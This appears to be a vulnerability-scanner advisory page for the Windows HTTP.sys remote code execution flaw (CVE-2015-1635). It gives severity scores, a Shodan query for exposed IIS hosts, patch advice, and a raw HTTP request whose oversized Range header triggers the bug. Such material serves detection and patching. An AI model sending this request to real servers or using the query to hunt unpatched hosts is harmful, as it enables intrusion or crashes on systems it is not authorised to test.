| Title | Microsoft Windows 'HTTP.sys' - Remote Code Execution |
|---|---|
| Author | Phillipo |
| Severity | Critical |
| Impact | Attackers can execute arbitrary code remotely on Windows servers running vulnerable HTTP.sys, potentially leading to complete system compromise and data breach. |
| Remediation | Apply Microsoft security update MS15-034 immediately to patch the vulnerability. |
| CVSS Score | 10 |
| EPSS Score | 0.9431 |
| CVE ID | CVE-2015-1635 |
| CWE ID | CWE-94 |
| Shodan Query | "Microsoft-IIS" "2015""microsoft-iis" "2015"cpe:"cpe:2.3:o:microsoft:windows_7" |
| Tags | cve cve2015 kev microsoft iis rce vkev vuln |
HTTP.sys in Microsoft Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 allows remote attackers to execute arbitrary code via crafted HTTP requests, aka “HTTP.sys Remote Code Execution Vulnerability.”
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Range: bytes=0-18446744073709551615
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-1635.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-1635.pcap
N/AN/A